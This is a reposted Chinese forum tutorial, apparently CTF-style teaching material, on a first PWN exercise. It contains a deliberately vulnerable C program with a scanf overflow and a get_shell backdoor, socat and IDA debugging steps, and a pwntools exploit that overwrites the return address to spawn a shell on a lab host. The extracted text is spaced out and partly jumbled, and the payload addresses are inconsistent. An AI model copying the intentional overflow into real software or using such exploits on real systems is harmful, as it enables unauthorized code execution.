搜索

[16128] 2020-11-24_第一个PWN：栈溢出原理以及EXP的编写

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-24_第一个PWN：栈溢出原理以及EXP的编写 第 一 个 P W N ： 栈 溢 出 原 理 以 及 E X P 的 编 写 A T L 安 全 团 队   F r e e B u f   2 0 2 0 - 1 1 - 2 4 P W N 入 门 有 那 么 难 吗 ， 如 果 你 想 做 ， 一 定 可 以 学 会 。 加 油 ， 打 工 人 ！ 准 备 准 备 虚 拟 机 ： 虚 拟 机 ： C e n t O S   6 . 8   3 2 b i t 、 g c c 、 s o c a t 宿 主 机 ： 宿 主 机 ： I D A 7 . 0 、   P y t h o n   +   p w n t o o l s 略 有 小 坑 ， 当 宿 主 机 I D A 连 接 不 到 c e n t O S 时 ， 请 关 闭 c e n t O S 的 防 火 墙 ： s e r v i c e   i p t a b l e s   s t o p 大 家 都 说 栈 溢 出 是 P W N 的 ， 那 么 我 将 用 一 个 简 单 的 例 子 ， 手 把 手 的 来 演 示 一 个 非 常 简 单 的 栈 溢 出 利 用 ， 顺 便 学 习 用 下 我 们 的 p w n t o o l s ， 万 事 开 头 难 ， 但 如 果 你 跟 着 流 程 走 一 遍 的 话 ， 会 开 启 一 个 新 世 界 的 大 门 。 存 在 栈 溢 出 的 代 码 分 析 存 在 栈 溢 出 的 代 码 分 析 稍 微 懂 点 C 和 汇 编 ， 这 个 例 子 人 人 都 能 上 手 ， 简 单 说 ， 有 手 就 行 。 贴 出 我 们 本 次 实 验 要 使 用 的 C 代 码 ， 解 释 的 方 式 我 都 用 注 释 来 进 行 ： 分 析 一 下 ， 上 边 代 码 存 在 栈 溢 出 的 部 分 在 函 数 ， 因 为 b u f 是 在 栈 空 间 中 的 ， b u f 是 分 配 了 6 4 个 字 节 但 是 却 没 有 限 制 输 入 的 长 度 。 如 何 栈 溢 出 如 何 栈 溢 出 H e l l o   W o r l d / / s t a c k _ o v e r f l o w . c # i n c l u d e   < s t d i o . h > / /   这 是 存 在 栈 溢 出 的 函 数 v o i d   s t a c k _ o v e r f l o w ( ) {                 c h a r   b u f [ 6 4 ]   =   { 0 } ;                 s c a n f ( " % s " ,   & b u f ) ;   / / 将 输 入 的 数 据 读 入 b u f 中                 p r i n t f ( " H e l l o   % s n " ,   & b u f ) ;   / / 打 印 出 b u f 中 的 内 容 } / /   为 了 方 便 实 验 这 里 留 下 一 个 后 门 函 数 v o i d   g e t _ s h e l l ( ) {                 s y s t e m ( " / b i n / s h " ) ; } / /   程 序 入 口 v o i d   m a i n ( ) {                 s t a c k _ o v e r f l o w ( ) ; } s c a n f ( )
既 然 是 栈 溢 出 ， 那 么 我 相 信 大 家 都 有 一 定 的 基 础 吧 ， 起 码 了 解 下 什 么 是 栈 。 首 先 最 重 要 的 是 ， 我 们 要 知 道 为 什 么 会 有 栈 的 存 在 ， 这 要 从 函 数 的 发 明 说 起 ， 感 兴 趣 的 可 以 查 阅 一 下 w i k i 。 栈 的 用 途 之 一 就 是 为 了 存 储 局 部 变 量 ， 那 么 上 层 函 数 的 返 回 地 址 也 存 储 在 栈 中 。 第 一 次 调 试 第 一 次 调 试 代 码 写 好 了 ， 我 们 先 来 编 译 运 行 一 下 好 ， 结 果 简 简 单 单 ， 输 入 一 个 字 符 串 ， 然 后 输 出 。 那 么 我 们 打 开 宿 主 机 的 I D A ， 把 我 们 编 译 好 的 程 序 拖 进 I D A ， 然 后 在 s t a c k _ o v e r f l o w 的 地 方 下 好 断 点 接 下 来 将 I D A 安 装 目 录 的 l i n u x _ s e r v e r 拷 贝 到 c e n t O S 上 ， 运 行 起 来 到 I D A 中 ， 选 择   “ D e b u g g e r ”   →   “ S e l e c t   d e b u g g e r ” ； 然 后 选 ” R e m o t e   L i n u x   d e b u g g e r “ ， 点 击 “ O K ” ； 点 击 “ D e b u g g e r ” →   “ P r o c e s s   o p t i o n s … ” ； H o s t n a m e 填 入 c e n t O S 的 I P ， P o r t 默 认 是 2 3 9 4 6 ； 其 他 的 默 认 ， 然 后 我 们 按 “ F 9 ” 开 始 调 试 我 们 继 续 往 下 走 ， 直 到 输 入 之 后 [ r o o t @ l o c a l h o s t   p w n ] #   g c c   s t a c k _ o v e r f l o w . c   - o   s t a c k _ o v e r f l o w [ r o o t @ l o c a l h o s t   p w n ] #   . / s t a c k _ o v e r f l o w   s t a c k _ o v e r f l o w H e l l o   s t a c k _ o v e r f l o w [ r o o t @ l o c a l h o s t   p w n ] #   . / l i n u x _ s e r v e r   I D A   L i n u x   3 2 - b i t   r e m o t e   d e b u g   s e r v e r ( S T )   v 1 . 2 2 .   H e x - R a y s   ( c )   2 0 0 4 - 2 0 1 7 L i s t e n i n g   o n   0 . 0 . 0 . 0 : 2 3 9 4 6 . . . A A A A A A
那 么 到 这 里 ， 思 路 来 了 ， 因 为 上 边 那 个 程 序 没 有 对 输 入 的 长 度 做 校 验 ， 对 于 上 边 那 个 程 序 我 们 要 做 的 就 是 计 算 好 输 入 的 长 度 ， 然 后 将 后 门 地 址 填 充 到 返 回 的 地 址 ， 计 算 一 下 输 入 的 地 址 距 离 b u f 地 址 的 长 度 等 于 所 以 接 下 来 思 路 就 很 明 确 了 ， 我 们 填 充 0 x 4 C 个 字 符 后 ， 再 填 入 后 门 的 地 址 。 第 二 次 调 试 第 二 次 调 试 紧 接 着 第 一 次 调 试 ， 这 次 调 试 我 们 使 用 p w n t o o l s 接 管 程 序 的 输 入 输 出 。 首 先 ， 我 们 在 c e n t O S 上 使 用 s o c a t 将 输 入 输 出 转 发 到 9 9 9 9 端 口 ： [ r o o t @ l o c a l h o s t   p w n ] #   s o c a t   t c p - l i s t e n : 9 9 9 9 , r e u s e a d d r , f o r k   E X E C : . / s t a c k _ o v e r f l o w , p t y , r a w , e c h o = 0 然 后 我 们 用 p w n t o o l s 连 接 下 ： 此 时 已 经 连 接 成 功 ， s t a c k _ o v e r f l o w 程 序 也 已 经 跑 起 来 了 ； 返 回 I D A ， 我 们 在 s c a n f 的 下 一 句 汇 编 下 好 断 点 ； 然 后 选 择 ” D e b u g g e r ”   →   “ A t t a c h   t o   p r o c e s s … ” ， 选 择 运 行 起 来 的 s t a c k _ o v e r f l o w ； 点 击 ” O K ” ； 然 后 再 按 下 ” F 9 ” ， 让 程 序 跑 起 来 在 P y t h o n 中 ， 我 们 继 续 ， 发 送 我 们 输 入 的 数 据 ， 记 得 要 发 送 一 个 回 车 ， 也 可 以 用 s e n d l i n e ( ) 函 数 ， 自 带 回 车 ： 0 x B F 8 C 1 7 B C - 0 x B F 8 C 1 7 7 0 0 x 4 C [ r o o t @ l o c a l h o s t   p w n ] #   s o c a t   t c p - l i s t e n : 9 9 9 9 , r e u s e a d d r , f o r k   E X E C : . / s t a c k _ o v e r f l o w , p t y , r a w , e c h o = 0 ➜     ~   p y t h o n 3 P y t h o n   3 . 7 . 4   ( d e f a u l t ,   S e p     7   2 0 1 9 ,   1 7 : 4 6 : 2 8 ) [ C l a n g   1 0 . 0 . 1   ( c l a n g - 1 0 0 1 . 0 . 4 6 . 4 ) ]   o n   d a r w i n T y p e   " h e l p " ,   " c o p y r i g h t " ,   " c r e d i t s "   o r   " l i c e n s e "   f o r   m o r e   i n f o r m a t i o n . > > >   f r o m   p w n   i m p o r t   * > > >   i o   =   r e m o t e ( ' 1 7 2 . 1 6 . 1 7 7 . 1 3 4 ' ,   9 9 9 9 ) [ x ]   O p e n i n g   c o n n e c t i o n   t o   1 7 2 . 1 6 . 1 7 7 . 1 3 4   o n   p o r t   9 9 9 9 [ x ]   O p e n i n g   c o n n e c t i o n   t o   1 7 2 . 1 6 . 1 7 7 . 1 3 4   o n   p o r t   9 9 9 9 :   T r y i n g   1 7 2 . 1 6 . 1 7 7 . 1 3 4 [ + ]   O p e n i n g   c o n n e c t i o n   t o   1 7 2 . 1 6 . 1 7 7 . 1 3 4   o n   p o r t   9 9 9 9 :   D o n e > > >   p a y l o a d   =   b ' A ' * 0 x 4 c   +   p 3 2 ( 0 x 0 8 0 4 8 4 8 e ) > > >   i o . s e n d ( p a y l o a d ) > > >   i o . s e n d ( ' n ' )
接 下 来 I D A 断 下 了 ， 我 们 继 续 往 下 步 过 ， 到 r e t n ， 我 们 发 现 即 将 跳 转 到 g e t _ s h e l l ( ) 这 里 。 接 下 来 我 就 不 一 一 调 试 了 ， 感 兴 趣 的 同 学 可 以 继 续 往 下 跟 ， 这 里 我 直 接 ， 然 后 使 用 p w n t o o l s 进 入 命 令 行 的 交 互 模 式 ， 为 了 让 大 家 有 点 感 觉 ， 我 这 里 加 了 一 个 f l a g . t x t ： 每 次 调 试 完 完 记 得 i o . c l o s e ( ) ， 不 然 会 出 现 很 多 s t a c k _ o v e r f l o w 的 程 序 。 E X P 编 写 编 写 综 合 上 述 ， 那 么 E X P 应 该 这 样 写 小 结 小 结 吐 槽 下 编 辑 器 ， 第 一 遍 竟 然 没 保 存 成 功 ， 还 好 文 章 不 长 。 如 果 步 骤 没 说 清 楚 ， 请 大 家 评 论 。 精 彩 推 荐 精 彩 推 荐 F 9 : ) > > >   i o . i n t e r a c t i v e ( ) [ * ]   S w i t c h i n g   t o   i n t e r a c t i v e   m o d e H e l l o   A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A l s f l a g . t x t     l i n u x _ s e r v e r         s t a c k _ o v e r f l o w         s t a c k _ o v e r f l o w . c c a t   f l a g . t x t f l a g { Y 0 u _ W i n _ b y _ A T L _ T E A M } # ! / u s r / b i n / e n v   p y t h o n 3 #   - * -   c o d i n g :   u t f - 8   - * - f r o m   p w n   i m p o r t   * i o   =   r e m o t e ( ' 1 7 2 . 1 6 . 1 7 7 . 1 3 4 ' ,   9 9 9 9 ) p a y l o a d   =   b ' A ' * 0 x 4 C   +   p 3 2 ( 0 x 0 8 0 4 8 4 7 5 ) i o . s e n d l i n e ( p a y l o a d ) i o . i n t e r a c t i v e ( ) i o . c l o s e ( )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理